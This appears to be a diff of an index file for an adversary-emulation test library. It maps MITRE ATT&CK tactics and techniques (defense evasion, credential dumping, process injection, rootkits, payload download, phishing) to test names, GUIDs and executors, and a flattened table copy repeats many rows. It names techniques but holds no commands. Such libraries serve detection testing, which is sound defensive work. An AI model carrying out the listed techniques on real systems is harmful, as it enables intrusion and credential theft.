defense-evasion,T1574.011,Hijack Execution Flow: Services Registry Permissions Weakness,2,Service ImagePath Change with reg.exe,f38e9eea-e1d7-4ba6-b716-584791963827,command_prompt
defense-evasion,T1036.005,Masquerading: Match Legitimate Name or Location,1,Execute a process from a directory masquerading as the current parent directory,812c3ab8-94b0-4698-a9bf-9420af23ce24,sh
defense-evasion,T1036.005,Masquerading: Match Legitimate Name or Location,1,Execute a process from a directory masquerading as the current parent directory.,812c3ab8-94b0-4698-a9bf-9420af23ce24,sh
defense-evasion,T1036.005,Masquerading: Match Legitimate Name or Location,2,Masquerade as a built-in system executable,35eb8d16-9820-4423-a2a1-90c4f5edd9ca,powershell
defense-evasion,T1036.005,Masquerading: Match Legitimate Name or Location,3,Masquerading cmd.exe as VEDetector.exe,03ae82a6-9fa0-465b-91df-124d8ca5c4e8,powershell
defense-evasion,T1564,Hide Artifacts,1,Extract binary files via VBA,6afe288a-8a8b-4d33-a629-8d03ba9dad3a,powershell
defense-evasion,T1564,Hide Artifacts,2,"Create a Hidden User Called ""$""",2ec63cc2-4975-41a6-bf09-dffdfb610778,command_prompt
defense-evasion,T1564,Hide Artifacts,3,"Create an ""Administrator "" user (with a space on the end)",5bb20389-39a5-4e99-9264-aeb92a55a85c,powershell
@@ -180,7 +177,6 @@ defense-evasion,T1140,Deobfuscate/Decode Files or Information,7,FreeBSD b64encod
defense-evasion,T1140,Deobfuscate/Decode Files or Information,8,Hex decoding with shell utilities,005943f9-8dd5-4349-8b46-0313c0a9f973,sh
defense-evasion,T1140,Deobfuscate/Decode Files or Information,9,Linux Base64 Encoded Shebang in CLI,3a15c372-67c1-4430-ac8e-ec06d641ce4d,sh
defense-evasion,T1140,Deobfuscate/Decode Files or Information,10,XOR decoding and command execution using Python,c3b65cd5-ee51-4e98-b6a3-6cbdec138efc,bash
defense-evasion,T1140,Deobfuscate/Decode Files or Information,11,Expand CAB with expand.exe,9f8b1c54-cb76-4d5e-bb1f-2f5c0e8f5a11,command_prompt
defense-evasion,T1562,Impair Defenses,1,Windows Disable LSA Protection,40075d5f-3a70-4c66-9125-f72bee87247d,command_prompt
defense-evasion,T1562,Impair Defenses,2,Disable journal logging via systemctl utility,c3a377f9-1203-4454-aa35-9d391d34768f,sh
defense-evasion,T1562,Impair Defenses,3,Disable journal logging via sed utility,12e5551c-8d5c-408e-b3e4-63f53b03379f,sh
@@ -539,8 +535,6 @@ defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,54,Disable Ev
defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,55,Disable EventLog-Application Auto Logger Session Via Registry - PowerShell,da86f239-9bd3-4e85-92ed-4a94ef111a1c,powershell
defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,56,Disable EventLog-Application ETW Provider Via Registry - Cmd,1cac9b54-810e-495c-8aac-989e0076583b,command_prompt
defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,57,Disable EventLog-Application ETW Provider Via Registry - PowerShell,8f907648-1ebf-4276-b0f0-e2678ca474f0,powershell
defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,58,Freeze PPL-protected process with EDR-Freeze,cbb2573a-a6ad-4c87-aef8-6e175598559b,powershell
defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,59,Disable ASLR Via sysctl parameters - Linux,ac333fe1-ce2b-400b-a117-538634427439,bash
defense-evasion,T1055.012,Process Injection: Process Hollowing,1,Process Hollowing using PowerShell,562427b4-39ef-4e8c-af88-463a78e70b9c,powershell
defense-evasion,T1055.012,Process Injection: Process Hollowing,2,RunPE via VBA,3ad4a037-1598-4136-837c-4027e4fa319b,powershell
defense-evasion,T1055.012,Process Injection: Process Hollowing,3,Process Hollowing in Go using CreateProcessW WinAPI,c8f98fe1-c89b-4c49-a7e3-d60ee4bc2f5a,powershell
@@ -648,6 +642,8 @@ defense-evasion,T1564.001,Hide Artifacts: Hidden Files and Directories,10,Create
defense-evasion,T1578.001,Modify Cloud Compute Infrastructure: Create Snapshot,1,AWS - Create Snapshot from EBS Volume,a3c09662-85bb-4ea8-b15b-6dc8a844e236,sh
defense-evasion,T1578.001,Modify Cloud Compute Infrastructure: Create Snapshot,2,Azure - Create Snapshot from Managed Disk,89e69b4b-3458-4ec6-b819-b3008debc1bc,sh
defense-evasion,T1578.001,Modify Cloud Compute Infrastructure: Create Snapshot,3,GCP - Create Snapshot from Persistent Disk,e6fbc036-91e7-4ad3-b9cb-f7210f40dd5d,sh
defense-evasion,T1550.001,Use Alternate Authentication Material: Application Access Token,1,Azure - Functions code upload - Functions code injection via Blob upload,9a5352e4-56e5-45c2-9b3f-41a46d3b3a43,powershell
defense-evasion,T1550.001,Use Alternate Authentication Material: Application Access Token,2,Azure - Functions code upload - Functions code injection via File Share modification to retrieve the Functions identity access token,67aaf4cb-54ce-42e2-ab56-e0a9bcc089b1,powershell
defense-evasion,T1078.004,Valid Accounts: Cloud Accounts,1,Creating GCP Service Account and Service Account Key,9fdd83fd-bd53-46e5-a716-9dec89c8ae8e,sh
defense-evasion,T1078.004,Valid Accounts: Cloud Accounts,2,Azure Persistence Automation Runbook Created or Modified,348f4d14-4bd3-4f6b-bd8a-61237f78b3ac,powershell
defense-evasion,T1078.004,Valid Accounts: Cloud Accounts,3,GCP - Create Custom IAM Role,3a159042-69e6-4398-9a69-3308a4841c85,sh
@@ -826,8 +822,6 @@ privilege-escalation,T1546.008,Event Triggered Execution: Accessibility Features
privilege-escalation,T1546.008,Event Triggered Execution: Accessibility Features,6,Replace utilman.exe (Ease of Access Binary) with cmd.exe,1db380da-3422-481d-a3c8-6d5770dba580,command_prompt
privilege-escalation,T1546.008,Event Triggered Execution: Accessibility Features,7,Replace Magnify.exe (Magnifier binary) with cmd.exe,5e4fa70d-c789-470e-85e1-6992b92bb321,command_prompt
privilege-escalation,T1546.008,Event Triggered Execution: Accessibility Features,8,Replace Narrator.exe (Narrator binary) with cmd.exe,2002f5ea-cd13-4c82-bf73-e46722e5dc5e,command_prompt
privilege-escalation,T1546.008,Event Triggered Execution: Accessibility Features,9,Replace DisplaySwitch.exe (Display Switcher binary) with cmd.exe,825ba8ca-71cc-436b-b1dd-ea0d5e109086,command_prompt
privilege-escalation,T1546.008,Event Triggered Execution: Accessibility Features,10,Replace AtBroker.exe (App Switcher binary) with cmd.exe,210be7ea-d841-40ec-b3e1-ff610bb62744,command_prompt
privilege-escalation,T1055.004,Process Injection: Asynchronous Procedure Call,1,Process Injection via C#,611b39b7-e243-4c81-87a4-7145a90358b1,command_prompt
privilege-escalation,T1055.004,Process Injection: Asynchronous Procedure Call,2,EarlyBird APC Queue Injection in Go,73785dd2-323b-4205-ab16-bb6f06677e14,powershell
privilege-escalation,T1055.004,Process Injection: Asynchronous Procedure Call,3,Remote Process Injection with Go using NtQueueApcThreadEx WinAPI,4cc571b1-f450-414a-850f-879baf36aa06,powershell
@@ -1010,7 +1004,6 @@ execution,T1204.002,User Execution: Malicious File,8,Potentially Unwanted Applic
execution,T1204.002,User Execution: Malicious File,9,Office Generic Payload Download,5202ee05-c420-4148-bf5e-fd7f7d24850c,powershell
execution,T1204.002,User Execution: Malicious File,10,LNK Payload Download,581d7521-9c4b-420e-9695-2aec5241167f,powershell
execution,T1204.002,User Execution: Malicious File,11,Mirror Blast Emulation,24fd9719-7419-42dd-bce6-ab3463110b3c,powershell
execution,T1204.002,User Execution: Malicious File,12,ClickFix Campaign - Abuse RunMRU to Launch mshta via PowerShell,3f3120f0-7e50-4be2-88ae-54c61230cb9f,powershell
execution,T1053.003,Scheduled Task/Job: Cron,1,Cron - Replace crontab with referenced file,435057fb-74b1-410e-9403-d81baf194f75,sh
execution,T1053.003,Scheduled Task/Job: Cron,2,Cron - Add script to all cron subfolders,b7d42afa-9086-4c8a-b7b0-8ea3faa6ebb0,bash
execution,T1053.003,Scheduled Task/Job: Cron,3,Cron - Add script to /etc/cron.d folder,078e69eb-d9fb-450e-b9d0-2e118217c846,sh
@@ -1306,8 +1299,6 @@ persistence,T1546.008,Event Triggered Execution: Accessibility Features,5,Auto-s
persistence,T1546.008,Event Triggered Execution: Accessibility Features,6,Replace utilman.exe (Ease of Access Binary) with cmd.exe,1db380da-3422-481d-a3c8-6d5770dba580,command_prompt
persistence,T1546.008,Event Triggered Execution: Accessibility Features,7,Replace Magnify.exe (Magnifier binary) with cmd.exe,5e4fa70d-c789-470e-85e1-6992b92bb321,command_prompt
persistence,T1546.008,Event Triggered Execution: Accessibility Features,8,Replace Narrator.exe (Narrator binary) with cmd.exe,2002f5ea-cd13-4c82-bf73-e46722e5dc5e,command_prompt
persistence,T1546.008,Event Triggered Execution: Accessibility Features,9,Replace DisplaySwitch.exe (Display Switcher binary) with cmd.exe,825ba8ca-71cc-436b-b1dd-ea0d5e109086,command_prompt
persistence,T1546.008,Event Triggered Execution: Accessibility Features,10,Replace AtBroker.exe (App Switcher binary) with cmd.exe,210be7ea-d841-40ec-b3e1-ff610bb62744,command_prompt
persistence,T1136.002,Create Account: Domain Account,1,Create a new Windows domain admin user,fcec2963-9951-4173-9bfa-98d8b7834e62,command_prompt
persistence,T1136.002,Create Account: Domain Account,2,Create a new account similar to ANONYMOUS LOGON,dc7726d2-8ccb-4cc6-af22-0d5afb53a548,command_prompt
persistence,T1136.002,Create Account: Domain Account,3,Create a new Domain Account using PowerShell,5a3497a4-1568-4663-b12a-d4a5ed70c7d7,powershell
@@ -1543,7 +1534,6 @@ collection,T1560.001,Archive Collected Data: Archive via Utility,8,Data Encrypte
collection,T1560.001,Archive Collected Data: Archive via Utility,9,Encrypts collected data with AES-256 and Base64,a743e3a6-e8b2-4a30-abe7-ca85d201b5d3,bash
collection,T1560.001,Archive Collected Data: Archive via Utility,10,ESXi - Remove Syslog remote IP,36c62584-d360-41d6-886f-d194654be7c2,powershell
collection,T1560.001,Archive Collected Data: Archive via Utility,11,Compress a File for Exfiltration using Makecab,2a7bc405-9555-4f49-ace2-b2ae2941d629,command_prompt
collection,T1560.001,Archive Collected Data: Archive via Utility,12,Copy and Compress AppData Folder,05e8942e-f04f-460a-b560-f7781257feec,powershell
collection,T1113,Screen Capture,1,Screencapture,0f47ceb1-720f-4275-96b8-21f0562217ac,bash
collection,T1113,Screen Capture,2,Screencapture (silent),deb7d358-5fbd-4dc4-aecc-ee0054d2d9a4,bash
collection,T1113,Screen Capture,3,X Windows Capture,8206dd0c-faf6-4d74-ba13-7fbe13dce6ac,bash
@@ -1578,8 +1568,10 @@ collection,T1115,Clipboard Data,2,Execute Commands from Clipboard using PowerShe
collection,T1115,Clipboard Data,3,Execute commands from clipboard,1ac2247f-65f8-4051-b51f-b0ccdfaaa5ff,bash
collection,T1115,Clipboard Data,4,Collect Clipboard Data via VBA,9c8d5a72-9c98-48d3-b9bf-da2cc43bdf52,powershell
collection,T1115,Clipboard Data,5,Add or copy content to clipboard with xClip,ee363e53-b083-4230-aff3-f8d955f2d5bb,sh
collection,T1530,Data from Cloud Storage Object,1,AWS - Scan for Anonymous Access to S3,979356b9-b588-4e49-bba4-c35517c484f5,sh
collection,T1530,Data from Cloud Storage Object,2,Azure - Dump Azure Storage Account Objects via Azure CLI,67374845-b4c8-4204-adcc-9b217b65d4f1,powershell
collection,T1530,Data from Cloud Storage Object,1,Azure - Enumerate Azure Blobs with MicroBurst,3dab4bcc-667f-4459-aea7-4162dd2d6590,powershell
collection,T1530,Data from Cloud Storage Object,2,Azure - Scan for Anonymous Access to Azure Storage (Powershell),146af1f1-b74e-4aa7-9895-505eb559b4b0,powershell
collection,T1530,Data from Cloud Storage Object,3,AWS - Scan for Anonymous Access to S3,979356b9-b588-4e49-bba4-c35517c484f5,sh
collection,T1530,Data from Cloud Storage Object,4,Azure - Dump Azure Storage Account Objects via Azure CLI,67374845-b4c8-4204-adcc-9b217b65d4f1,powershell
collection,T1005,Data from Local System,1,Search files of interest and save them to a single zip file (Windows),d3d9af44-b8ad-4375-8b0a-4bff4b7e419c,powershell
collection,T1005,Data from Local System,2,Find and dump sqlite databases (Linux),00cbb875-7ae4-4cf1-b638-e543fd825300,bash
collection,T1005,Data from Local System,3,Copy Apple Notes database files using AppleScript,cfb6d400-a269-4c06-a347-6d88d584d5f7,sh
@@ -1626,6 +1618,8 @@ lateral-movement,T1021.001,Remote Services: Remote Desktop Protocol,1,RDP to Dom
lateral-movement,T1021.001,Remote Services: Remote Desktop Protocol,2,Changing RDP Port to Non Standard Port via Powershell,2f840dd4-8a2e-4f44-beb3-6b2399ea3771,powershell
lateral-movement,T1021.001,Remote Services: Remote Desktop Protocol,3,Changing RDP Port to Non Standard Port via Command_Prompt,74ace21e-a31c-4f7d-b540-53e4eb6d1f73,command_prompt
lateral-movement,T1021.001,Remote Services: Remote Desktop Protocol,4,Disable NLA for RDP via Command Prompt,01d1c6c0-faf0-408e-b368-752a02285cb2,command_prompt
lateral-movement,T1550.001,Use Alternate Authentication Material: Application Access Token,1,Azure - Functions code upload - Functions code injection via Blob upload,9a5352e4-56e5-45c2-9b3f-41a46d3b3a43,powershell
lateral-movement,T1550.001,Use Alternate Authentication Material: Application Access Token,2,Azure - Functions code upload - Functions code injection via File Share modification to retrieve the Functions identity access token,67aaf4cb-54ce-42e2-ab56-e0a9bcc089b1,powershell
credential-access,T1556.003,Modify Authentication Process: Pluggable Authentication Modules,1,Malicious PAM rule,4b9dde80-ae22-44b1-a82a-644bf009eb9c,sh
credential-access,T1556.003,Modify Authentication Process: Pluggable Authentication Modules,2,Malicious PAM rule (freebsd),b17eacac-282d-4ca8-a240-46602cf863e3,sh
credential-access,T1556.003,Modify Authentication Process: Pluggable Authentication Modules,3,Malicious PAM module,65208808-3125-4a2e-8389-a0a00e9ab326,sh
@@ -1790,8 +1784,7 @@ credential-access,T1552.001,Unsecured Credentials: Credentials In Files,14,List
credential-access,T1552.001,Unsecured Credentials: Credentials In Files,15,Find Azure credentials,a8f6148d-478a-4f43-bc62-5efee9f931a4,sh
credential-access,T1552.001,Unsecured Credentials: Credentials In Files,16,Find GCP credentials,aa12eb29-2dbb-414e-8b20-33d34af93543,sh
credential-access,T1552.001,Unsecured Credentials: Credentials In Files,17,Find OCI credentials,9d9c22c9-fa97-4008-a204-478cf68c40af,sh
credential-access,T1528,Steal Application Access Token,1,Azure - Functions code upload - Functions code injection via Blob upload,9a5352e4-56e5-45c2-9b3f-41a46d3b3a43,powershell
credential-access,T1528,Steal Application Access Token,2,Azure - Functions code upload - Functions code injection via File Share modification to retrieve the Functions identity access token,67aaf4cb-54ce-42e2-ab56-e0a9bcc089b1,powershell
credential-access,T1528,Steal Application Access Token,1,Azure - Dump All Azure Key Vaults with Microburst,1b83cddb-eaa7-45aa-98a5-85fb0a8807ea,powershell
credential-access,T1552.006,Unsecured Credentials: Group Policy Preferences,1,GPP Passwords (findstr),870fe8fb-5e23-4f5f-b89d-dd7fe26f3b5f,command_prompt
credential-access,T1552.006,Unsecured Credentials: Group Policy Preferences,2,GPP Passwords (Get-GPPPassword),e9584f82-322c-474a-b831-940fd8b4455c,powershell
credential-access,T1056.002,Input Capture: GUI Input Capture,1,AppleScript - Prompt User for Password,76628574-0bc1-4646-8fe2-8f4427b47d15,bash
@@ -1804,7 +1797,6 @@ credential-access,T1110.004,Brute Force: Credential Stuffing,4,Brute Force:Crede
credential-access,T1187,Forced Authentication,1,PetitPotam,485ce873-2e65-4706-9c7e-ae3ab9e14213,powershell
credential-access,T1187,Forced Authentication,2,WinPwn - PowerSharpPack - Retrieving NTLM Hashes without Touching LSASS,7f06b25c-799e-40f1-89db-999c9cc84317,powershell
credential-access,T1187,Forced Authentication,3,Trigger an authenticated RPC call to a target server with no Sign flag set,81cfdd7f-1f41-4cc5-9845-bb5149438e37,powershell
credential-access,T1555.006,Credentials from Password Stores: Cloud Secrets Management Stores,1,Azure - Dump All Azure Key Vaults with Microburst,1b83cddb-eaa7-45aa-98a5-85fb0a8807ea,powershell
credential-access,T1003.008,"OS Credential Dumping: /etc/passwd, /etc/master.passwd and /etc/shadow",1,Access /etc/shadow (Local),3723ab77-c546-403c-8fb4-bb577033b235,bash
credential-access,T1003.008,"OS Credential Dumping: /etc/passwd, /etc/master.passwd and /etc/shadow",2,Access /etc/master.passwd (Local),5076874f-a8e6-4077-8ace-9e5ab54114a5,sh
credential-access,T1003.008,"OS Credential Dumping: /etc/passwd, /etc/master.passwd and /etc/shadow",3,Access /etc/passwd (Local),60e860b6-8ae6-49db-ad07-5e73edd88f5d,sh
@@ -2029,15 +2021,12 @@ discovery,T1083,File and Directory Discovery,4,Nix File and Directory Discovery
discovery,T1083,File and Directory Discovery,5,Simulating MAZE Directory Enumeration,c6c34f61-1c3e-40fb-8a58-d017d88286d8,powershell
discovery,T1083,File and Directory Discovery,6,Launch DirLister Executable,c5bec457-43c9-4a18-9a24-fe151d8971b7,powershell
discovery,T1083,File and Directory Discovery,7,ESXi - Enumerate VMDKs available on an ESXi Host,4a233a40-caf7-4cf1-890a-c6331bbc72cf,command_prompt
discovery,T1083,File and Directory Discovery,8,Identifying Network Shares - Linux,361fe49d-0c19-46ec-a483-ccb92d38e88e,sh
discovery,T1049,System Network Connections Discovery,1,System Network Connections Discovery,0940a971-809a-48f1-9c4d-b1d785e96ee5,command_prompt
discovery,T1049,System Network Connections Discovery,2,System Network Connections Discovery with PowerShell,f069f0f1-baad-4831-aa2b-eddac4baac4a,powershell
discovery,T1049,System Network Connections Discovery,3,"System Network Connections Discovery FreeBSD, Linux & MacOS",9ae28d3f-190f-4fa0-b023-c7bd3e0eabf2,sh
discovery,T1049,System Network Connections Discovery,4,System Discovery using SharpView,96f974bb-a0da-4d87-a744-ff33e73367e9,powershell
discovery,T1619,Cloud Storage Object Discovery,1,AWS S3 Enumeration,3c7094f8-71ec-4917-aeb8-a633d7ec4ef5,sh
discovery,T1619,Cloud Storage Object Discovery,2,Azure - Enumerate Storage Account Objects via Shared Key authorization using Azure CLI,070322a4-2c60-4c50-8ffb-c450a34fe7bf,powershell
discovery,T1619,Cloud Storage Object Discovery,3,Azure - Scan for Anonymous Access to Azure Storage (Powershell),146af1f1-b74e-4aa7-9895-505eb559b4b0,powershell
discovery,T1619,Cloud Storage Object Discovery,4,Azure - Enumerate Azure Blobs with MicroBurst,3dab4bcc-667f-4459-aea7-4162dd2d6590,powershell
discovery,T1654,Log Enumeration,1,Get-EventLog To Enumerate Windows Security Log,a9030b20-dd4b-4405-875e-3462c6078fdc,powershell
discovery,T1654,Log Enumeration,2,Enumerate Windows Security Log via WevtUtil,fef0ace1-3550-4bf1-a075-9fea55a778dd,command_prompt
discovery,T1057,Process Discovery,1,Process Discovery - ps,4ff64f0b-aaf2-4866-b39d-38d9791407cc,sh
@@ -2156,11 +2145,9 @@ impact,T1489,Service Stop,4,Linux - Stop service using systemctl,42e3a5bd-1e45-4
impact,T1489,Service Stop,5,Linux - Stop service by killing process using killall,e5d95be6-02ee-4ff1-aebe-cf86013b6189,sh
impact,T1489,Service Stop,6,Linux - Stop service by killing process using kill,332f4c76-7e96-41a6-8cc2-7361c49db8be,sh
impact,T1489,Service Stop,7,Linux - Stop service by killing process using pkill,08b4718f-a8bf-4bb5-a552-294fc5178fea,sh
impact,T1489,Service Stop,8,Abuse of linux magic system request key for Send a SIGTERM to all processes,6e76f56f-2373-4a6c-a63f-98b7b72761f1,bash
impact,T1491.001,Defacement: Internal Defacement,1,Replace Desktop Wallpaper,30558d53-9d76-41c4-9267-a7bd5184bed3,powershell
impact,T1491.001,Defacement: Internal Defacement,2,Configure LegalNoticeCaption and LegalNoticeText registry keys to display ransom message,ffcbfaab-c9ff-470b-928c-f086b326089b,powershell
impact,T1491.001,Defacement: Internal Defacement,3,ESXi - Change Welcome Message on Direct Console User Interface (DCUI),30905f21-34f3-4504-8b4c-f7a5e314b810,command_prompt
impact,T1491.001,Defacement: Internal Defacement,4,Windows - Display a simulated ransom note via Notepad (non-destructive),0eeb68ce-e64c-4420-8d53-ad5bdc6f86d5,powershell
impact,T1531,Account Access Removal,1,Change User Password - Windows,1b99ef28-f83c-4ec5-8a08-1a56263a5bb2,command_prompt
impact,T1531,Account Access Removal,2,Delete User - Windows,f21a1d7d-a62f-442a-8c3a-2440d43b19e5,command_prompt
impact,T1531,Account Access Removal,3,Remove Account From Domain Admin Group,43f71395-6c37-498e-ab17-897d814a0947,powershell
@@ -2212,7 +2199,6 @@ impact,T1529,System Shutdown/Reboot,12,Logoff System - Windows,3d8c25b5-7ff5-4c9
impact,T1529,System Shutdown/Reboot,13,ESXi - Terminates VMs using pkill,987c9b4d-a637-42db-b1cb-e9e242c3991b,command_prompt
impact,T1529,System Shutdown/Reboot,14,ESXi - Avoslocker enumerates VMs and forcefully kills VMs,189f7d6e-9442-4160-9bc3-5e4104d93ece,command_prompt
impact,T1529,System Shutdown/Reboot,15,ESXi - vim-cmd Used to Power Off VMs,622cc1a0-45e7-428c-aed7-c96dd605fbe6,command_prompt
impact,T1529,System Shutdown/Reboot,16,Abuse of Linux Magic System Request Key for Reboot,d2a1f4bc-a064-4223-8281-a086dce5423c,bash
initial-access,T1133,External Remote Services,1,Running Chrome VPN Extensions via the Registry 2 vpn extension,4c8db261-a58b-42a6-a866-0a294deedde4,powershell
initial-access,T1566.002,Phishing: Spearphishing Link,1,Paste and run technique,bc177ef9-6a12-4ebc-a2ec-d41e19c2791d,powershell
initial-access,T1566.001,Phishing: Spearphishing Attachment,1,Download Macro-Enabled Phishing Attachment,114ccff9-ae6d-4547-9ead-4cd69f687306,powershell
1 Tactic Technique # Technique Name Test # Test Name Test GUID Executor Name
36 defense-evasion T1216.001 Signed Script Proxy Execution: Pubprn 1 PubPrn.vbs Signed Script Bypass 9dd29a1f-1e16-4862-be83-913b10a88f6c command_prompt
37 defense-evasion T1006 Direct Volume Access 1 Read volume boot sector via DOS device path (PowerShell) 88f6327e-51ec-4bbf-b2e8-3fea534eab8b powershell
38 defense-evasion T1564.008 Hide Artifacts: Email Hiding Rules 1 New-Inbox Rule to Hide E-mail in M365 30f7d3d1-78e2-4bf0-9efa-a175b5fce2a9 powershell
defense-evasion T1027.013 Obfuscated Files or Information: Encrypted/Encoded File 1 Decode Eicar File and Write to File 7693ccaa-8d64-4043-92a5-a2eb70359535 powershell
defense-evasion T1027.013 Obfuscated Files or Information: Encrypted/Encoded File 2 Decrypt Eicar File and Write to File b404caaa-12ce-43c7-9214-62a531c044f7 powershell
39 defense-evasion T1014 Rootkit 1 Loadable Kernel Module based Rootkit dfb50072-e45a-4c75-a17e-a484809c8553 sh
40 defense-evasion T1014 Rootkit 2 Loadable Kernel Module based Rootkit 75483ef8-f10f-444a-bf02-62eb0e48db6f sh
41 defense-evasion T1014 Rootkit 3 dynamic-linker based rootkit (libprocesshider) 1338bf0c-fd0c-48c0-9e65-329f18e2c0d3 sh
77 defense-evasion T1542.001 Pre-OS Boot: System Firmware 1 UEFI Persistence via Wpbbin.exe File Creation b8a49f03-e3c4-40f2-b7bb-9e8f8fdddbf1 powershell
78 defense-evasion T1574.011 Hijack Execution Flow: Services Registry Permissions Weakness 1 Service Registry Permissions Weakness f7536d63-7fd4-466f-89da-7e48d550752a powershell
79 defense-evasion T1574.011 Hijack Execution Flow: Services Registry Permissions Weakness 2 Service ImagePath Change with reg.exe f38e9eea-e1d7-4ba6-b716-584791963827 command_prompt
80 defense-evasion T1036.005 Masquerading: Match Legitimate Name or Location 1 Execute a process from a directory masquerading as the current parent directory Execute a process from a directory masquerading as the current parent directory. 812c3ab8-94b0-4698-a9bf-9420af23ce24 sh
81 defense-evasion T1036.005 Masquerading: Match Legitimate Name or Location 2 Masquerade as a built-in system executable 35eb8d16-9820-4423-a2a1-90c4f5edd9ca powershell
defense-evasion T1036.005 Masquerading: Match Legitimate Name or Location 3 Masquerading cmd.exe as VEDetector.exe 03ae82a6-9fa0-465b-91df-124d8ca5c4e8 powershell
82 defense-evasion T1564 Hide Artifacts 1 Extract binary files via VBA 6afe288a-8a8b-4d33-a629-8d03ba9dad3a powershell
83 defense-evasion T1564 Hide Artifacts 2 Create a Hidden User Called "$" 2ec63cc2-4975-41a6-bf09-dffdfb610778 command_prompt
84 defense-evasion T1564 Hide Artifacts 3 Create an "Administrator " user (with a space on the end) 5bb20389-39a5-4e99-9264-aeb92a55a85c powershell
177 defense-evasion T1140 Deobfuscate/Decode Files or Information 8 Hex decoding with shell utilities 005943f9-8dd5-4349-8b46-0313c0a9f973 sh
178 defense-evasion T1140 Deobfuscate/Decode Files or Information 9 Linux Base64 Encoded Shebang in CLI 3a15c372-67c1-4430-ac8e-ec06d641ce4d sh
179 defense-evasion T1140 Deobfuscate/Decode Files or Information 10 XOR decoding and command execution using Python c3b65cd5-ee51-4e98-b6a3-6cbdec138efc bash
defense-evasion T1140 Deobfuscate/Decode Files or Information 11 Expand CAB with expand.exe 9f8b1c54-cb76-4d5e-bb1f-2f5c0e8f5a11 command_prompt
180 defense-evasion T1562 Impair Defenses 1 Windows Disable LSA Protection 40075d5f-3a70-4c66-9125-f72bee87247d command_prompt
181 defense-evasion T1562 Impair Defenses 2 Disable journal logging via systemctl utility c3a377f9-1203-4454-aa35-9d391d34768f sh
182 defense-evasion T1562 Impair Defenses 3 Disable journal logging via sed utility 12e5551c-8d5c-408e-b3e4-63f53b03379f sh
535 defense-evasion T1562.001 Impair Defenses: Disable or Modify Tools 55 Disable EventLog-Application Auto Logger Session Via Registry - PowerShell da86f239-9bd3-4e85-92ed-4a94ef111a1c powershell
536 defense-evasion T1562.001 Impair Defenses: Disable or Modify Tools 56 Disable EventLog-Application ETW Provider Via Registry - Cmd 1cac9b54-810e-495c-8aac-989e0076583b command_prompt
537 defense-evasion T1562.001 Impair Defenses: Disable or Modify Tools 57 Disable EventLog-Application ETW Provider Via Registry - PowerShell 8f907648-1ebf-4276-b0f0-e2678ca474f0 powershell
defense-evasion T1562.001 Impair Defenses: Disable or Modify Tools 58 Freeze PPL-protected process with EDR-Freeze cbb2573a-a6ad-4c87-aef8-6e175598559b powershell
defense-evasion T1562.001 Impair Defenses: Disable or Modify Tools 59 Disable ASLR Via sysctl parameters - Linux ac333fe1-ce2b-400b-a117-538634427439 bash
538 defense-evasion T1055.012 Process Injection: Process Hollowing 1 Process Hollowing using PowerShell 562427b4-39ef-4e8c-af88-463a78e70b9c powershell
539 defense-evasion T1055.012 Process Injection: Process Hollowing 2 RunPE via VBA 3ad4a037-1598-4136-837c-4027e4fa319b powershell
540 defense-evasion T1055.012 Process Injection: Process Hollowing 3 Process Hollowing in Go using CreateProcessW WinAPI c8f98fe1-c89b-4c49-a7e3-d60ee4bc2f5a powershell
642 defense-evasion T1578.001 Modify Cloud Compute Infrastructure: Create Snapshot 1 AWS - Create Snapshot from EBS Volume a3c09662-85bb-4ea8-b15b-6dc8a844e236 sh
643 defense-evasion T1578.001 Modify Cloud Compute Infrastructure: Create Snapshot 2 Azure - Create Snapshot from Managed Disk 89e69b4b-3458-4ec6-b819-b3008debc1bc sh
644 defense-evasion T1578.001 Modify Cloud Compute Infrastructure: Create Snapshot 3 GCP - Create Snapshot from Persistent Disk e6fbc036-91e7-4ad3-b9cb-f7210f40dd5d sh
645 defense-evasion T1550.001 Use Alternate Authentication Material: Application Access Token 1 Azure - Functions code upload - Functions code injection via Blob upload 9a5352e4-56e5-45c2-9b3f-41a46d3b3a43 powershell
646 defense-evasion T1550.001 Use Alternate Authentication Material: Application Access Token 2 Azure - Functions code upload - Functions code injection via File Share modification to retrieve the Functions identity access token 67aaf4cb-54ce-42e2-ab56-e0a9bcc089b1 powershell
647 defense-evasion T1078.004 Valid Accounts: Cloud Accounts 1 Creating GCP Service Account and Service Account Key 9fdd83fd-bd53-46e5-a716-9dec89c8ae8e sh
648 defense-evasion T1078.004 Valid Accounts: Cloud Accounts 2 Azure Persistence Automation Runbook Created or Modified 348f4d14-4bd3-4f6b-bd8a-61237f78b3ac powershell
649 defense-evasion T1078.004 Valid Accounts: Cloud Accounts 3 GCP - Create Custom IAM Role 3a159042-69e6-4398-9a69-3308a4841c85 sh
822 privilege-escalation T1546.008 Event Triggered Execution: Accessibility Features 6 Replace utilman.exe (Ease of Access Binary) with cmd.exe 1db380da-3422-481d-a3c8-6d5770dba580 command_prompt
823 privilege-escalation T1546.008 Event Triggered Execution: Accessibility Features 7 Replace Magnify.exe (Magnifier binary) with cmd.exe 5e4fa70d-c789-470e-85e1-6992b92bb321 command_prompt
824 privilege-escalation T1546.008 Event Triggered Execution: Accessibility Features 8 Replace Narrator.exe (Narrator binary) with cmd.exe 2002f5ea-cd13-4c82-bf73-e46722e5dc5e command_prompt
privilege-escalation T1546.008 Event Triggered Execution: Accessibility Features 9 Replace DisplaySwitch.exe (Display Switcher binary) with cmd.exe 825ba8ca-71cc-436b-b1dd-ea0d5e109086 command_prompt
privilege-escalation T1546.008 Event Triggered Execution: Accessibility Features 10 Replace AtBroker.exe (App Switcher binary) with cmd.exe 210be7ea-d841-40ec-b3e1-ff610bb62744 command_prompt
825 privilege-escalation T1055.004 Process Injection: Asynchronous Procedure Call 1 Process Injection via C# 611b39b7-e243-4c81-87a4-7145a90358b1 command_prompt
826 privilege-escalation T1055.004 Process Injection: Asynchronous Procedure Call 2 EarlyBird APC Queue Injection in Go 73785dd2-323b-4205-ab16-bb6f06677e14 powershell
827 privilege-escalation T1055.004 Process Injection: Asynchronous Procedure Call 3 Remote Process Injection with Go using NtQueueApcThreadEx WinAPI 4cc571b1-f450-414a-850f-879baf36aa06 powershell
1004 execution T1204.002 User Execution: Malicious File 9 Office Generic Payload Download 5202ee05-c420-4148-bf5e-fd7f7d24850c powershell
1005 execution T1204.002 User Execution: Malicious File 10 LNK Payload Download 581d7521-9c4b-420e-9695-2aec5241167f powershell
